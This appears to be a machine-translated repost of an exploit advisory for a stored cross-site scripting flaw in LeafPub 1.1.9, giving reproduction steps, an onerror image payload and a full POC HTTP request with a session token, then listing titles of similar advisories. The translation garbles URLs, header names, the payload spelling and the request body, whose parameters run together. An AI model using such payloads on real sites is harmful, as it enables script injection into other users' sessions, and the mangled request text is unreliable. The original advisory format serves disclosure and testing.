Leafpub 1.1.9-存储的跨站点脚本（XSS）

[HackApt-37 Team已验证会员]

＃LeafPub 1.1.9-存储的跨站点脚本（XS）
＃日期: 2024-04-24
＃利用作者: ahmetümitBayram
＃供应商homepage: https://github.com/LeafPub
＃软件link: https://github.com/leafppub/leafpub
＃版本: 1.1.9
＃在: MacOS上测试
###复制###的步骤

• 请从此地址登录: http://localhost/laypub/admin/登录
• 单击“高级设置”
• 输入以下有效载荷到“自定义代码”区域并保存IT:（'img

src=x OneError=alert（'存储'））
- 一条警报消息，说“存储”将出现在您面前。
### POC请求###
POST/LEAFPUB/API/设置HTTP/1.1
HOST: LOCALHOST
cookie:
authtoken=eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjpyxqioje3mtm5njq2mtcsimv4cci6mtcxmzk2 odixnywizgf0ysi6eyj1c2vybmftzsi6imfkbbwluin19.967n5nydukxv1soxo_otfiillm7sfgdwpxkxkx7iezwlo
用户代理: Mozilla/5.0（Macintosh; Intel Mac OS X 10.15; RV:124.0）
壁虎/20100101 Firefox/124.0
ACCEPT: /
Accept-Language: TR-TR，TR; Q=0.8，EN-US; Q=0.5，en; q=0.3
Accept-incoding: Gzip，Deflate，br
content-type:应用程序/x-www-form-urlenCoded; charset=UTF-8
X-重新要求- WITH: XMLHTTPREQUEST
内容长度: 476
Origin: http://localhost
Referer: http://localhost/Leafpub/admin/设置
sec-fetch-Dest:空
sec-fetch mode: cors
sec-fetch-site:相同原产
TE:拖车
连接:关闭
title=A+LeafPub+blogtagline=go+the+the+and+create！homepage=twitter=thempage=thempage=rangeposts-per-page=10cover=10cover=source％2fassets ％2fimg％2fleaves.jpglogo=源=源％2fassets％2fimg％2flogo-color.pngfavicon=source％2fassets％2fimg％2flogo-color.pnglanguag e=en-ustimezone=America%2FNew_Yorkdefault-title=Untitled+Postdefault-content=Start+writing+here.head-code=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22Stored%22)%3Efoot-code=generator=onmailer=defaultmaintenance-message=hbs-cache=on

 

H

Pyrocms v3.0.1-存储的XSS

H

Chyrp 2.5.2-存储的跨站点脚本（XSS）